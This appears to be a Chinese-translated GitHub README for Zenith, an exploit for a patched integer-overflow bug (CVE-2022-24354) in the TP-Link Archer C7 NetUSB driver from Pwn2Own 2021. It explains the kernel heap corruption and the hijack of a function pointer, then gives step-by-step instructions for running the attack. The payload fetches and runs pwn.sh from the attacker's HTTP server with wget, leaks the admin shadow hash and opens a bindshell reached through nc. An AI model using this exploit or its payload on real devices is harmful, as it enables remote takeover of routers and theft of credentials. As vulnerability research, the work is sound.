0vercl0k/zenith

GitHub: 0vercl0k/zenith

针对 TP-Link Archer C7 路由器 NetUSB 驱动整数溢出漏洞的远程代码执行利用程序

Stars: 132 | Forks: 25

# Zenith:Pwn2Own TP-Link AC1750 Smart Wi-Fi 路由器远程代码执行漏洞 Zenith 是我编写的一个漏洞利用程序,用于攻击 [TP-Link AC1750 Smart Wi-Fi Router](https://www.tp-link.com/us/home-networking/wifi-router/archer-c7/),该路由器属于 [Pwn2Own Austin 2021](https://www.zerodayinitiative.com/blog/2021/8/11/pwn2own-austin-2021-phones-printers-nas-and-more) 竞赛中 **Routers** / **LAN** 类别的目标。 它利用了一个整数溢出漏洞,该漏洞导致 [KCodes](https://www.kcodes.com/product/1/36) 公司开发的 NetUSB 驱动程序中 `kmalloc-128` slab cache 发生堆缓冲区溢出。该驱动程序监听 `br-lan` 接口上的 TCP 端口 20005 并解析攻击者控制的数据。该漏洞已在 2021 年 8 月 20 日发布的 [Archer C7(US)_V5_210519](https://static.tp-link.com/upload/firmware/2021/202108/20210820/Archer%20C7(US)_V5_210519.zip) 固件上进行了测试(您可以在 TP-Link 的固件镜像中找到 `NetUSB.ko`)。 ![zenith](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cceb47484c201414.gif) 该漏洞已由 [TP-Link 于 2022 年 1 月修复](https://www.tp-link.com/us/support/download/archer-c7/#Firmware),并被分配了 [CVE-2022-24354](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24354) / [ZDI-22-264](https://www.zerodayinitiative.com/advisories/ZDI-22-264/)。 ![tplink](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/3765a157cc201415.png) ![tplink2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/e1c18d2822201416.png) ## 问题概述 我可能会尝试在 [doar-e.github.io](https://doar-e.github.io/) 上的下一篇文章中详细记录该漏洞以及我是如何利用它的,敬请期待! 该漏洞位于 *SoftwareBus_dispatchNormalEPMsgOut* 函数中,代码片段如下: ``` void *SoftwareBus_dispatchNormalEPMsgOut(SbusConnection_t *SbusConnection, char HostCommand, char Opcode) { // ... switch (OpcodeMasked) { case 0x50: if (SoftwareBus_fillBuf(SbusConnection, ReceiveBuffer, 4)) { ReceivedSize = _bswapw(*(uint32_t*)ReceiveBuffer); AllocatedBuffer = _kmalloc(ReceivedSize + 17, 208); // <--- ReceivedSize is a 32-bit integer, the computation can overflow if (!AllocatedBuffer) { return kc_printf("INFO%04X: Out of memory in USBSoftwareBus", 4296); } [...] if (!SoftwareBus_fillBuf(SbusConnection, AllocatedBuffer + 16, ReceivedSize)) // <---- This is basically a `recv()` which leads to an overflow of the `AllocatedBuffer` ``` 该漏洞利用程序通过以下调用链到达此函数: ``` -> tcpConnector (@0x10AAC) -> run_init_sbus (@0xCA78) -> initUsbSoftwareBus (@0xC700) -> ThreadHandleSbusConnection (@0xC5F4) -> SoftwareBus_dispatchNormalEPMsgOut (@0xADF0) ``` 为了利用该漏洞,Zenith 溢出了 Linux 内核 socket 栈放置的相邻 `wait_queue_head_t.head.next` 结构,将其替换为受我们控制的精心构造的 `wait_queue_entry_t` 地址(漏洞利用代码中的 `Trasher` 类)。 ``` struct wait_queue_head { spinlock_t lock; struct list_head head; }; struct wait_queue_entry { unsigned int flags; void *private; wait_queue_func_t func; struct list_head entry; }; ``` 该结构包含一个函数指针,我利用它劫持执行流并将其重定向到一个固定位置,该位置位于我之前暂存 payload 的大型内核堆块中。调用该函数指针的函数是 `__wake_up_common`,如下所示: ``` static void __wake_up_common(wait_queue_head_t *q, unsigned int mode, int nr_exclusive, int wake_flags, void *key) { wait_queue_t *curr, *next; list_for_each_entry_safe(curr, next, &q->task_list, task_list) { unsigned flags = curr->flags; if (curr->func(curr, mode, wake_flags, key) && (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive) break; } } ``` 以下是在 gdb 中 `q->head.next/prev` 被破坏后的样子: ``` (gdb) break *__wake_up_common+0x30 if ($v0 & 0xffffff00) == 0xdeadbe00 (gdb) break sock_recvmsg if msg->msg_iov[0].iov_len == 0xffffffff (gdb) c Continuing. sock_recvmsg(dst=0xffffffff85173390) Breakpoint 2, __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1) at kernel/sched/core.c:3375 3375 kernel/sched/core.c: No such file or directory. (gdb) p *q $1 = {lock = {{rlock = {raw_lock = {}}}}, task_list = {next = 0xdeadbee1, prev = 0xbaadc0d1}} (gdb) bt #0 __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1) at kernel/sched/core.c:3375 #1 0x80141ea8 in __wake_up_sync_key (q=, mode=, nr_exclusive=, key=) at kernel/sched/core.c:3450 #2 0x8045d2d4 in tcp_prequeue (skb=0x87eb4e40, sk=0x851e5f80) at include/net/tcp.h:964 #3 tcp_v4_rcv (skb=0x87eb4e40) at net/ipv4/tcp_ipv4.c:1736 #4 0x8043ae14 in ip_local_deliver_finish (skb=0x87eb4e40) at net/ipv4/ip_input.c:226 #5 0x8040d640 in __netif_receive_skb (skb=0x87eb4e40) at net/core/dev.c:3341 #6 0x803c50c8 in pcnet32_rx_entry (entry=, rxp=0xa0c04060, lp=0x87d08c00, dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1199 #7 pcnet32_rx (budget=16, dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1212 #8 pcnet32_poll (napi=0x87d08c5c, budget=16) at drivers/net/ethernet/amd/pcnet32.c:1324 #9 0x8040dab0 in net_rx_action (h=) at net/core/dev.c:3944 #10 0x801244ec in __do_softirq () at kernel/softirq.c:244 #11 0x80124708 in do_softirq () at kernel/softirq.c:293 #12 do_softirq () at kernel/softirq.c:280 #13 0x80124948 in invoke_softirq () at kernel/softirq.c:337 #14 irq_exit () at kernel/softirq.c:356 #15 0x8010198c in ret_from_exception () at arch/mips/kernel/entry.S:34 ``` 所有这些都是可能的,因为内核没有 ALSR,并且堆是可写/可执行的(没有 NX)。 Zenith 还利用了 NetUSB 的调试接口,这是监听端口 33344 的另一个 socket。它基本上通过此 socket 发送 `printk` 字符串,并泄漏各种分配的内核模式指针,我们能够在这些位置放置受控数据。这由漏洞利用代码中的 `Leaker` 类使用。 Zenith 还使用非常基本的堆喷射(spraying)原语来填充空洞,从而对 `kmalloc128` slab cache 进行碎片整理。 最后,执行的 payload 位于 [src/sh.remote.asm](src/sh.remote.asm) 中,它基本上执行 `/bin/sh -c "wget http://{local_ip}:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh"`。 ## 运行漏洞利用程序 ### 设置环境 要安装依赖项,请在 Ubuntu 20.04 机器上运行以下命令: - `$ sudo apt install binutils-mips-linux-gnu binutils python3-pip` - `$ pip3 install pycrypto` binutils 被漏洞利用程序用于在运行时生成 payload,因为它需要包含漏洞利用程序访问的 HTTP 服务器的 IP 地址(参见 `prepare_payload`)。 ``` def prepare_payload(name, ip_local): '''Read the payload pattern, assemble it and dump the assembled bytes.''' # Replace the local ip address in the payload r = open(name, 'r').read() tmp_payload = 'tmp.asm' with open(tmp_payload, 'w') as f: f.write(r.format(ip_local = ip_local)) # Compile the payload os.system(f'mips-linux-gnu-as -march=mips32r2 {tmp_payload} -o sh.o') os.system(f'mips-linux-gnu-ld --omagic --section-start=.text={hex(addr_payload)} sh.o -o sh') # Dump the payload os.system('readelf -x .text sh > payload.txt') # Read the payload payload = read_payload('payload.txt',) # Clean-up the payload os.system(f'rm sh.o sh {tmp_payload} payload.txt') # Fix ip in pwn.sh. os.system(f'rm pwn.sh') r = open('pwn_base.sh', 'r').read() with open('pwn.sh', 'w') as f: f.write(r.format(ip_local = ip_local)) return payload ``` ### 我是否有漏洞? 要验证您的路由器是否有漏洞,建议运行 [src/zenith-poc.py](src/zenith-poc.py)。 ``` $ python3 zenith-poc.py --target 192.168.127.1 ``` 如果您的设备有漏洞,脚本完成后指示灯应保持亮起几秒钟,然后熄灭,路由器应自动重启。请注意,这可能不太容易察觉 :)

### 运行 Zenith **免责声明:该漏洞利用程序并不可靠,遗憾的是它在竞赛期间未能成功演示 😅** 对于每次尝试: 1. 启动设备并启动秒表等待 3 分钟。这是设备达到稳定启动状态所需的时间。 2. 当秒表到达 3 分钟标记时运行漏洞利用程序。 要运行漏洞利用程序,请打开三个不同的 shell(参见 [pics/zenith.gif](pics/zenith.gif)): 1. **一个用于发动攻击的 shell**。 - 使用 `--target <路由器 IP>` 和 `--local <发起攻击的机器 IP>` 运行 [src/zenith.py](src/zenith.py)。 2. **一个用于启动 HTTP 服务器的 shell**。 - 在 [src](src/) 中,运行 `python3 -m http.server`。成功后,漏洞利用程序将向该服务器发出 HTTP 请求以下载 [pwn.sh](src/pwn.sh)(这就是 `--local` 参数的用途)。 3. **一个用于在尝试成功后连接到 bindshell 的 shell**。 - 在收到泄漏 `admin` shadow 的 HTTP 请求后,您可以尝试使用 `nc <路由器 IP> 31337 -v` 连接到 bindshell。 ![zenith](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cceb47484c201414.gif) 漏洞利用程序在自我终止前会等待 1 分 30 秒。有三种结束条件: 1. 成功,并访问 HTTP 服务器获取 `pwn.sh` 文件,泄漏了 `admin` 的 shadow 并在 bindshell 上监听。 2. 路由器崩溃并重启。所有 socket 都将超时并输出信息;此时您可以终止漏洞利用程序。这是失败的尝试。 3. 路由器没有崩溃,但在漏洞利用程序自我终止前没有收到 HTTP 请求。这是失败的尝试。 ## 作者 * Axel '[0vercl0k](https://twitter.com/0vercl0k)' Souchet
标签:CISA项目, CVE-2022-24354, IoT安全, KCodes, Linux内核驱动, NetUSB, Pwn2Own, RCE, TP-Link Archer C7, Web报告查看器, 二进制利用, 云资产清单, 内存损坏, 堆溢出, 嵌入式安全, 整数溢出, 缓冲区溢出, 编程工具, 网络安全, 路由器安全, 远程代码执行, 逆向工具, 逆向工程, 隐私保护, 零日漏洞